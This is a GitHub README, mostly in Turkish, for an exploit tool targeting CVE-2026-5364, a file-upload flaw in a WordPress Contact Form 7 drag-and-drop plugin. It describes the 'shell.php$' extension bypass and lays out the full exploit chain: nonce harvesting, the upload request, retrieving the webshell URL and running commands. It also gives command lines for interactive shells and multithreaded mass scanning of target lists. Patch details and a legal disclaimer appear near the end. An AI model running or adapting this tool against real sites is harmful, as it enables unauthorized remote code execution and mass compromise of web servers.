xxconi/CVE-2026-5364
GitHub: xxconi/CVE-2026-5364
Stars: 0 | Forks: 0
# CVE-2026-5364
CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7
# CVE-2026-5364 — CF7 Drag & Drop File Upload RCE
## 📋 Genel Bakış
| Alan | Değer |
|------|-------|
| **CVE ID** | CVE-2026-5364 |
| **Plugin** | Drag and Drop File Upload for Contact Form 7 |
| **Slug** | `drag-and-drop-file-upload-for-contact-form-7` |
| **CVSS** | 8.1 (High) |
| **Vektör** | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **Etkilenen** | <= 1.1.3 |
| **Yamalı** | 1.1.4 |
| **Araştırmacı** | Thomas Sanzey |
| **Yayın** | 23 Nisan 2026 |
## 🔍 Zafiyet Özeti
Plugin, dosya uzantısını `sanitize_file_name()` temizlemesinden **önce** okur.
Saldırgan `shell.php$` adlı bir dosya yükler:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← blacklist'i atlatır
sanitize_file_name('shell.php$') → 'shell.php' ← PHP olarak kaydedilir
Üç bağımsız zayıflık zinciri:
1. **Attacker-controlled allowlist** — `type` POST parametresi kullanıcıdan okunur
2. **Extension before sanitize** — `pathinfo()` ham dosya adına uygulanır
3. **Late sanitization** — `wp_unique_filename()` içindeki `sanitize_file_name()` `$` karakterini siler
## ⚙️ Kurulum
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
### Gereksinimler
- Python 3.8+
- `requests` kütüphanesi
- Hedef: WordPress + CF7 D&D Upload <= 1.1.3 + CF7 formu olan sayfa
## 🚀 Kullanım
### Tek Hedef
# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com
# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"
# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive
# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
### Toplu Tarama
# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
### Tüm Parametreler
Hedef:
-u, --url URL Tek hedef URL
-l, --list FILE Hedef listesi (satır başı URL)
Exploit:
-c, --cmd CMD OS komutu (varsayılan: id)
--shell TYPE Webshell tipi: basic|exec|pass|eval|info
-i, --interactive İnteraktif shell aç
--no-skip-patched Yamalı sürümleri de dene
Tarama:
-t, --threads N Thread sayısı (varsayılan: 10)
--timeout S Timeout saniye (varsayılan: 15)
--proxy URL Proxy adresi
Çıktı:
-o, --output FILE Sonuç dosyası
-v, --verbose Ayrıntılı çıktı
--no-color Renksiz çıktı
## 🐚 Webshell Tipleri
| Tip | Payload | Kullanım |
|-----|---------|----------|
| `basic` | `` | Genel amaç |
| `exec` | `` | Tam çıktı |
| `pass` | `` | Binary çıktı |
| `eval` | `` | Gizli/WAF bypass |
| `info` | `` | PHP bilgisi |
## 🔬 Teknik Detay
### Exploit Zinciri
1. Nonce Tespiti
└─ wp_localize_script() ile her ziyaretçiye açık
GET /contact/ → HTML içinde "nonce":"abc123def4"
2. Shell Yükleme
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← blacklist'te yok
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL Alma
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
### Bypass Karakterleri
`sanitize_file_name()` tarafından silinen karakterler:
$ % ~ ` (boşluk)
Araç tüm bypass karakterlerini otomatik dener.
## 🛡️ Azaltıcı Faktörler
| Faktör | Etki |
|--------|------|
| Apache `.htaccess` (`Content-Disposition: attachment`) | PHP çalıştırmayı engeller |
| Nginx / LiteSpeed | `.htaccess` geçersiz — **RCE mümkün** |
| Rastgele dosya adı (`uniqid()`) | AJAX yanıtı URL'yi döndürdüğü için **etkisiz** |
| Nonce | CSRF koruması — kimlik doğrulama değil, **etkisiz** |
## 🩹 Çözüm
Plugin'i **1.1.4** veya üzeri sürüme güncelleyin.
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7
### Kod Düzeltmesi (1.1.4)
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// DOĞRU (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id); // POST'tan değil
## ⚠️ Yasal Uyarı
Bu araç **yalnızca eğitim ve savunma amaçlı güvenlik araştırmaları** için
geliştirilmiştir. Yetkisiz sistemlerde kullanımı yasaktır ve yasal
sonuçları olabilir. Yalnızca **izin aldığınız** sistemlerde kullanın.
## 📄 Referanslar
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-file-upload-for-contact-form-7/cve-2026-5364)
- [WordPress Plugin Page](https://wordpress.org/plugins/drag-and-drop-file-upload-for-contact-form-7/)
- [NVD CVE-2026-5364](https://nvd.nist.gov/vuln/detail/CVE-2026-5364)
- [sanitize_file_name() Docs](https://developer.wordpress.org/reference/functions/sanitize_file_name/)